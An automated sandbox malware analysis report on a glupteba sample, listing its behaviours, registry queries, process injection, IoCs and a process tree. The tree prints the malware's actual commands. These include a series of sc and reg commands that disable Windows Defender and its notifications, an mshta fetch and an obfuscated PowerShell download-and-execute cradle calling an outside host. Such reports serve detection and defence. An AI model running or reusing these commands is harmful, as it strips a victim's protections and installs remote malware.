glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	QvnbKwZmuKVX07R25cIlUQLX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Sq13NJutwTBFI4zAToXltQuE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Sq13NJutwTBFI4zAToXltQuE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ZDj9euTac4ji2IjPYiofbB94.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ZDj9euTac4ji2IjPYiofbB94.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	QvnbKwZmuKVX07R25cIlUQLX.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Setup (20).exe

Loads dropped DLL 1 IoCs

pid	Process
6500	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral26/files/0x000100000001ab64-215.dat	themida
behavioral26/memory/4012-249-0x0000000000990000-0x0000000000991000-memory.dmp	themida
behavioral26/memory/3244-253-0x0000000000C00000-0x0000000000C01000-memory.dmp	themida
behavioral26/memory/2780-264-0x0000000001210000-0x0000000001211000-memory.dmp	themida
behavioral26/files/0x000100000001ab60-214.dat	themida
behavioral26/files/0x000100000001ab6a-200.dat	themida
behavioral26/files/0x000100000001ab60-155.dat	themida
behavioral26/files/0x000100000001ab6a-142.dat	themida
behavioral26/files/0x000100000001ab64-152.dat	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ZDj9euTac4ji2IjPYiofbB94.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	QvnbKwZmuKVX07R25cIlUQLX.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sq13NJutwTBFI4zAToXltQuE.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4315	whoer.net
28	ipinfo.io
29	ipinfo.io
137	ipinfo.io
140	ipinfo.io
232	ip-api.com
3142	geoiptool.com
4309	whoer.net

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
4012	Sq13NJutwTBFI4zAToXltQuE.exe
3244	ZDj9euTac4ji2IjPYiofbB94.exe
2780	QvnbKwZmuKVX07R25cIlUQLX.exe

Suspicious use of SetThreadContext 53 IoCs

description	pid	Process	procid_target
PID 2572 set thread context of 5044	2572	iHBjPOanAL9mSHCgc0vLolh0.exe	109
PID 504 set thread context of 4904	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	108
PID 2356 set thread context of 4920	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	106
PID 2656 set thread context of 4928	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	107
PID 504 set thread context of 2564	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	110
PID 2356 set thread context of 4268	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	145
PID 2656 set thread context of 4520	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	111
PID 2356 set thread context of 5052	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	117
PID 2656 set thread context of 2584	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	114
PID 504 set thread context of 4204	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	116
PID 2656 set thread context of 2112	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	144
PID 2356 set thread context of 5128	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	121
PID 504 set thread context of 5212	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	122
PID 2356 set thread context of 5348	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	123
PID 2872 set thread context of 5868	2872	GnXgYmeh82H2HVL_uWusdrnr.exe	139
PID 3928 set thread context of 5948	3928	6EMgu9usQL9MfFo42L1Fletk.exe	136
PID 2356 set thread context of 5680	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	128
PID 2356 set thread context of 4384	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	133
PID 2656 set thread context of 5264	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	135
PID 504 set thread context of 580	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	134
PID 2356 set thread context of 5644	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	146
PID 504 set thread context of 4056	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	153
PID 2356 set thread context of 2872	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	158
PID 2656 set thread context of 5844	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	159
PID 504 set thread context of 5104	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	160
PID 2356 set thread context of 3896	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	167
PID 2656 set thread context of 3568	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	168
PID 504 set thread context of 4236	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	170
PID 2656 set thread context of 5320	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	172
PID 504 set thread context of 6180	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	173
PID 2356 set thread context of 6360	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	175
PID 2656 set thread context of 6396	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	176
PID 504 set thread context of 6436	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	177
PID 2356 set thread context of 6684	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	178
PID 504 set thread context of 6784	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	180
PID 632 set thread context of 7064	632	ubsjcPBLGrE9MHXvkP3PC0Ld.exe	185
PID 2356 set thread context of 7016	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	186
PID 504 set thread context of 7108	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	184
PID 2356 set thread context of 6124	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	187
PID 2656 set thread context of 4744	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	188
PID 504 set thread context of 6356	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	189
PID 2356 set thread context of 6772	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	191
PID 504 set thread context of 4136	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	192
PID 2656 set thread context of 7052	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	195
PID 504 set thread context of 5976	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	196
PID 2656 set thread context of 6956	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	199
PID 504 set thread context of 4612	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	200
PID 2356 set thread context of 4380	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	203
PID 2656 set thread context of 4764	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	205
PID 504 set thread context of 3148	504	AdCbXkBlSGkjR3WSoRpVCye2.exe	207
PID 2356 set thread context of 7228	2356	GnXgYmeh82H2HVL_uWusdrnr.exe	211
PID 2656 set thread context of 7300	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	212
PID 2656 set thread context of 7800	2656	OkOjG1bRh6LHljnfdeWGrKxe.exe	220

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	jhXOPRUZpqoBXNAXzkZYE455.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	1aWgGudHjeVdKASy1v4R_Rou.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	1aWgGudHjeVdKASy1v4R_Rou.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst1.exe	1aWgGudHjeVdKASy1v4R_Rou.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	1aWgGudHjeVdKASy1v4R_Rou.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	1aWgGudHjeVdKASy1v4R_Rou.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	jhXOPRUZpqoBXNAXzkZYE455.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 9 IoCs

pid	pid_target	Process	procid_target
4820	368	WerFault.exe
4684	3960	WerFault.exe	86
4568	3960	WerFault.exe	86
5420	3960	WerFault.exe	86
5788	3960	WerFault.exe	86
5864	3960	WerFault.exe	86
5328	3960	WerFault.exe	86
7432	3148	WerFault.exe	207
6060	5920	WerFault.exe	166

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	iHBjPOanAL9mSHCgc0vLolh0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	iHBjPOanAL9mSHCgc0vLolh0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	iHBjPOanAL9mSHCgc0vLolh0.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
5856	schtasks.exe
5820	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
17048	timeout.exe
19120	timeout.exe
18300	timeout.exe

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
18060	vssadmin.exe
41864	Process not Found

Kills process with taskkill 4 IoCs

evasion

pid	Process
9068	taskkill.exe
4564	taskkill.exe
3980	taskkill.exe
8220	taskkill.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Process not Found

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	144	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3716	Setup (20).exe
3716	Setup (20).exe
5044	iHBjPOanAL9mSHCgc0vLolh0.exe
5044	iHBjPOanAL9mSHCgc0vLolh0.exe
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
4820	WerFault.exe
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
4684	WerFault.exe
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5044	iHBjPOanAL9mSHCgc0vLolh0.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3444	EjvAoMujpF2WhWdp6DxmP7Hj.exe
Token: SeRestorePrivilege	4820	WerFault.exe
Token: SeBackupPrivilege	4820	WerFault.exe
Token: SeDebugPrivilege	4820	WerFault.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	4684	WerFault.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	4568	WerFault.exe
Token: SeDebugPrivilege	4928	OkOjG1bRh6LHljnfdeWGrKxe.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	4520	OkOjG1bRh6LHljnfdeWGrKxe.exe
Token: SeDebugPrivilege	4012	Sq13NJutwTBFI4zAToXltQuE.exe
Token: SeDebugPrivilege	3244	ZDj9euTac4ji2IjPYiofbB94.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	5420	WerFault.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	2780	QvnbKwZmuKVX07R25cIlUQLX.exe
Token: SeDebugPrivilege	2584	OkOjG1bRh6LHljnfdeWGrKxe.exe
Token: SeDebugPrivilege	5788	WerFault.exe
Token: SeDebugPrivilege	3928	6EMgu9usQL9MfFo42L1Fletk.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3000	Process not Found
3000	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3716 wrote to memory of 2780	3716	Setup (20).exe	99
PID 3716 wrote to memory of 2780	3716	Setup (20).exe	99
PID 3716 wrote to memory of 2780	3716	Setup (20).exe	99
PID 3716 wrote to memory of 2192	3716	Setup (20).exe	91
PID 3716 wrote to memory of 2192	3716	Setup (20).exe	91
PID 3716 wrote to memory of 2192	3716	Setup (20).exe	91
PID 3716 wrote to memory of 3808	3716	Setup (20).exe	97
PID 3716 wrote to memory of 3808	3716	Setup (20).exe	97
PID 3716 wrote to memory of 3808	3716	Setup (20).exe	97
PID 3716 wrote to memory of 3928	3716	Setup (20).exe	96
PID 3716 wrote to memory of 3928	3716	Setup (20).exe	96
PID 3716 wrote to memory of 3928	3716	Setup (20).exe	96
PID 3716 wrote to memory of 2356	3716	Setup (20).exe	89
PID 3716 wrote to memory of 2356	3716	Setup (20).exe	89
PID 3716 wrote to memory of 2356	3716	Setup (20).exe	89
PID 3716 wrote to memory of 3980	3716	Setup (20).exe	88
PID 3716 wrote to memory of 3980	3716	Setup (20).exe	88
PID 3716 wrote to memory of 3980	3716	Setup (20).exe	88
PID 3716 wrote to memory of 4012	3716	Setup (20).exe	98
PID 3716 wrote to memory of 4012	3716	Setup (20).exe	98
PID 3716 wrote to memory of 4012	3716	Setup (20).exe	98
PID 3716 wrote to memory of 2232	3716	Setup (20).exe	93
PID 3716 wrote to memory of 2232	3716	Setup (20).exe	93
PID 3716 wrote to memory of 2232	3716	Setup (20).exe	93
PID 3716 wrote to memory of 2092	3716	Setup (20).exe	90
PID 3716 wrote to memory of 2092	3716	Setup (20).exe	90
PID 3716 wrote to memory of 2092	3716	Setup (20).exe	90
PID 3716 wrote to memory of 3560	3716	Setup (20).exe	94
PID 3716 wrote to memory of 3560	3716	Setup (20).exe	94
PID 3716 wrote to memory of 3560	3716	Setup (20).exe	94
PID 3716 wrote to memory of 2872	3716	Setup (20).exe	158
PID 3716 wrote to memory of 2872	3716	Setup (20).exe	158
PID 3716 wrote to memory of 2872	3716	Setup (20).exe	158
PID 3716 wrote to memory of 1816	3716	Setup (20).exe	87
PID 3716 wrote to memory of 1816	3716	Setup (20).exe	87
PID 3716 wrote to memory of 1816	3716	Setup (20).exe	87
PID 3716 wrote to memory of 2160	3716	Setup (20).exe	95
PID 3716 wrote to memory of 2160	3716	Setup (20).exe	95
PID 3716 wrote to memory of 2160	3716	Setup (20).exe	95
PID 3716 wrote to memory of 3244	3716	Setup (20).exe	102
PID 3716 wrote to memory of 3244	3716	Setup (20).exe	102
PID 3716 wrote to memory of 3244	3716	Setup (20).exe	102
PID 3716 wrote to memory of 632	3716	Setup (20).exe	103
PID 3716 wrote to memory of 632	3716	Setup (20).exe	103
PID 3716 wrote to memory of 632	3716	Setup (20).exe	103
PID 3716 wrote to memory of 3444	3716	Setup (20).exe	101
PID 3716 wrote to memory of 3444	3716	Setup (20).exe	101
PID 3716 wrote to memory of 3544	3716	Setup (20).exe	100
PID 3716 wrote to memory of 3544	3716	Setup (20).exe	100
PID 3716 wrote to memory of 3544	3716	Setup (20).exe	100
PID 3716 wrote to memory of 504	3716	Setup (20).exe	104
PID 3716 wrote to memory of 504	3716	Setup (20).exe	104
PID 3716 wrote to memory of 504	3716	Setup (20).exe	104
PID 3716 wrote to memory of 1644	3716	Setup (20).exe	84
PID 3716 wrote to memory of 1644	3716	Setup (20).exe	84
PID 3716 wrote to memory of 1644	3716	Setup (20).exe	84
PID 3716 wrote to memory of 2248	3716	Setup (20).exe	83
PID 3716 wrote to memory of 2248	3716	Setup (20).exe	83
PID 3716 wrote to memory of 2248	3716	Setup (20).exe	83
PID 3716 wrote to memory of 2292	3716	Setup (20).exe	82
PID 3716 wrote to memory of 2292	3716	Setup (20).exe	82
PID 3716 wrote to memory of 2292	3716	Setup (20).exe	82
PID 3716 wrote to memory of 4000	3716	Setup (20).exe	85
PID 3716 wrote to memory of 4000	3716	Setup (20).exe	85

C:\Users\Admin\AppData\Local\Temp\Setup (20).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (20).exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Users\Admin\Documents\Gne08jXb0P6PJlsQAo6hDUCA.exe
  "C:\Users\Admin\Documents\Gne08jXb0P6PJlsQAo6hDUCA.exe"
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe
  "C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2572
- - C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe
    "C:\Users\Admin\Documents\iHBjPOanAL9mSHCgc0vLolh0.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:5044
- C:\Users\Admin\Documents\bWBdhlKPxeaqTIbFonPK8R90.exe
  "C:\Users\Admin\Documents\bWBdhlKPxeaqTIbFonPK8R90.exe"
  2⤵
  - Executes dropped EXE
  PID:1544
- - C:\Users\Admin\AppData\Local\Temp\igYgq720.com
    "C:\Users\Admin\AppData\Local\Temp\igYgq720.com"
    3⤵
    PID:6868
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A218.tmp\A219.tmp\A21A.bat C:\Users\Admin\AppData\Local\Temp\igYgq720.com"
      4⤵
      PID:5408
    - - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        5⤵
        
        PID:6556
    - - C:\Windows\system32\sc.exe
        
        sc config SecurityHealthService start=disabled
        5⤵
        
        PID:6136
    - - C:\Windows\system32\sc.exe
        
        sc config Sense start=disabled
        5⤵
        
        PID:7400
    - - C:\Windows\system32\sc.exe
        
        sc config WdNisDrv start=disabled
        5⤵
        
        PID:7568
    - - C:\Windows\system32\sc.exe
        
        sc config WdNisSvc start=disabled
        5⤵
        
        PID:7732
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:7956
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:8140
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:7484
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:7548
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2260
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:5336
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:8352
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:8708
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:8980
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:9104
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1988
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:7984
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:4180
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:4460
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:1876
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        5⤵
        
        PID:7484
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI" | find /i "SecHealthUI"
        5⤵
        
        PID:948
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI"
        6⤵
        
        PID:4716
      - C:\Windows\system32\find.exe
        
        find /i "SecHealthUI"
        6⤵
        
        PID:8620
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f
        5⤵
        
        PID:9388
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\S-1-5-21-1594587808-2047097707-2163810515-1000\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f
        5⤵
        
        PID:9524
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility
        5⤵
        
        PID:10056
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility
        6⤵
        
        PID:948
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "SettingsPageVisibility" /t REG_SZ /d "hide:windowsdefender;" /f
        5⤵
        
        PID:10164
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" /v "Enabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:7900
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:10180
- - C:\Users\Admin\AppData\Local\Temp\2fqZDboA.com
    "C:\Users\Admin\AppData\Local\Temp\2fqZDboA.com"
    3⤵
    PID:4164
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://kmsauto.us/ra/Encoding.txt
      4⤵
      PID:8668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://kmsauto.us/ra/ALL.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
        5⤵
        
        PID:9760
- - C:\Users\Admin\AppData\Local\Temp\5675OvaY.com
